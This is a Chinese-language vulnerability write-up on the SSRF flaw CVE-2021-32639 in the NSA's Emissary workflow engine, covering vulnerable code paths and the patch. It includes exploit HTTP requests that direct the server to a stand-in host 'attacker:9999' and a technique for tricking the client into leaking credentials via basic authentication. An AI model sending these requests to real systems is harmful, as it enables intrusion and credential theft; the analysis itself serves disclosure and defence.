简介
NSA的项目 Emissary 中文"密使".
地址是 https://github.com/NationalSecurityAgency/emissary
Emissary是一个基于P2P的数据驱动工作流引擎,运行在异构的、可能广泛分散的、多层的P2P计算资源网络中。
工作流行程不像传统的工作流引擎那样预先计划,而是随着数据的更多信息被发现而被确定(发现)。在Emissary工作流中通常没有用户交互,而是以面向目标的方式处理数据,直到它达到完成状态。
Emissary 是高度可配置的,但在这个"基本实现"(base implementation)中几乎什么都不做。
这个框架的用户应提供扩展emissary.place.ServiceProviderPlace
的类,以在 emissary.core.IBaseDataObject
有效负载上执行工作。
可以做各种各样的事情,工作流是分阶段管理的,例如:STUDY, ID, COORDINATE, TRANSFORM, ANALYZE, IO, REVIEW.
emissary.core.MobileAgent
是负责指挥工作流的类、和从它派生的类,它们管理一组相关的负载对象的路径通过工作流。
通过工作流管理一组相关的"负载对象"(payload objects)的路径。
emissary.directory.DirectoryPlace
管理可用的"服务"(services)、它们的成本和质量,并保持 P2P 网络的连接。
参考https://securitylab.github.com/research/NSA-emissary/
SSRF漏洞(CVE-2021-32639) - 触发点 1
影响RegisterPeerActionREST 端点。
例如,以下请求将导致多个请求发送到攻击者控制的服务器 http://attacker:9999
POST /emissary/RegisterPeer.action? HTTP/1.1
Host: localhost:8001
Content-Type: application/x-www-form-urlencoded
directoryName=foo.bar.baz.http://attacker:9999/&targetDir=http://localhost:8001/DirectoryPlace
需要注意的重要一点是,一些伪造的请求是未经身份验证的(不带凭证的), 发送到/emissary/Heartbeat.action
端点的请求。
POST /emissary/Heartbeat.action HTTP/1.1
Content-Length: 180
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: attacker:9999
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.1 (Java/1.8.0_242)
Accept-Encoding: gzip,deflate
hbf=EMISSARY_DIRECTORY_SERVICES.DIRECTORY.STUDY.http%3A%2F%2Flocalhost%3A8001%2FDirectoryPlace&hbt=http%3A%2F%2Fattacker:9999%2FDirectoryPlace
但是,也有经过身份验证的请求发送到/emissary/RegisterPeer.action
这个endpoint上。
可发HTTP请求到攻击者控制的服务器上:
见targetDir参数的值.
POST /emissary/RegisterPeer.action HTTP/1.1
Content-Length: 196
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: attacker:9999
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.1 (Java/1.8.0_242)
Accept-Encoding: gzip,deflate
targetDir=http%3A%2F%2Fattacker:9999%2FDirectoryPlace&directoryName=EMISSARY_DIRECTORY_SERVICES.DIRECTORY.STUDY.http%3A%2F%2Flocalhost%3A8001%2FDirectoryPlace
SSRF问题通常用于访问内部服务器或扫描内网,但在本例中,我想到了一个不同寻常的漏洞利用场景。由于SSRF问题之一是:导致Emissary使用的Apache HTTP客户端发送带有"摘要身份验证头"(a digest authentication header)的1个经过身份验证的请求,因此从理论上讲,我可以诱使客户端切换到"基本身份验证"(basic authentication),从而泄漏服务器凭证。
要使用 Apache HTTP 客户端发送经过身份验证的HTTP请求,需要在"凭据提供程序"(credentials provider)上设置凭据,然后配置 HTTP 客户端以使用该"凭据提供程序":
您可以看到凭据从Jetty"用户领域"(user realm)读取,并用于连接到需要凭据的任何host和port。这些凭据在凭据提供者(CRED_PROV
)中设置,该"凭据提供程序"(credential provider)稍后被配置为主Emissary客户端(CLIENT
)的默认凭据提供程序。
配置没有指定应该使用什么身份验证方案,这使我相信身份验证方案是根据服务器response决定的。如果我礼貌地要求客户端使用"基本身份验证"(basic authentication),那么所有迹象都表明,服务器凭证将以明文(base64 encoded)形式发送。
我建立了一个请求基本身份验证的 Web 服务器,然后利用SSRF使Emissary服务器连接到我的恶意服务器。Emissary HTTP 客户端愉快地从"摘要身份验证"(digest authentication)切换到了基本身份验证,并将凭据发送给我。这是我的服务器的输出,显示了Emissary服务器凭据:
SSRF漏洞(CVE-2021-32639) - 触发点 1
类似地,AddChildDirectoryAction
端点也容易受到SSRF的攻击。对/AddChildDirectory.action
端点的POST请求,会发出额外请求,到攻击者控制的主机:
POST /emissary/AddChildDirectory.action HTTP/1.1
Host: localhost:8001
x-requested-by:
Content-Type: application/x-www-form-urlencoded
directoryName=foo.bar.baz.http://attacker:9999/&targetDir=http://localhost:8001/DirectoryPlace
漏洞分析
line 40 处理POST请求。
@POST
@Path("/RegisterPeer.action")
@Consumes(MediaType.APPLICATION_FORM_URLENCODED)
@Produces(MediaType.APPLICATION_XML)
public Response registerPeerPost(@FormParam(DIRECTORY_NAME) String directoryName, @FormParam(TARGET_DIRECTORY) String targetDirectory) {
if (StringUtils.isBlank(directoryName) || StringUtils.isBlank(targetDirectory)) {
return Response.serverError()
.entity("Bad Params: " + DIRECTORY_NAME + " - " + directoryName + ", " + TARGET_DIRECTORY + " - " + targetDirectory).build();
}
return processRegisterPeer(directoryName, targetDirectory);
}
传入实参targetDirectory
到processRegisterPeer
方法。
跟进processRegisterPeer
方法,看参数dirName
private Response processRegisterPeer(String peerKey, String dirName) {
final IRemoteDirectory dir = new IRemoteDirectory.Lookup().getLocalDirectory(dirName);
查看IRemoteDirectory
类,及方法getLocalDirectory
的实现。
即
public IRemoteDirectory getLocalDirectory(final String name) {
IDirectoryPlace dir = null;
try {
if (name != null) {
dir = (IDirectoryPlace) Namespace.lookup(name);
} else {
dir = DirectoryPlace.lookup();
}
} catch (emissary.core.EmissaryException ex) {
this.logger.debug("Could not find local directory " + name);
}
...
line 83 执行了.lookup(name);
跟进可知会发出http请求。
修复与总结
除了修复SSRF问题之外。
NSA还通过仅允许使用"摘要身份验证方案"(digest authentication),来防止身份验证方法"混淆"(confusion)。见https://github.com/NationalSecurityAgency/emissary/commit/79ca5608c4f77d9a5c8a4996e204377c158a6976#diff-c988041bf4d686dbcce23218e54188558f0116513ff30d161d958482a7c5f1c4
这样一来,即便还有SSRF,也无法泄露凭证了。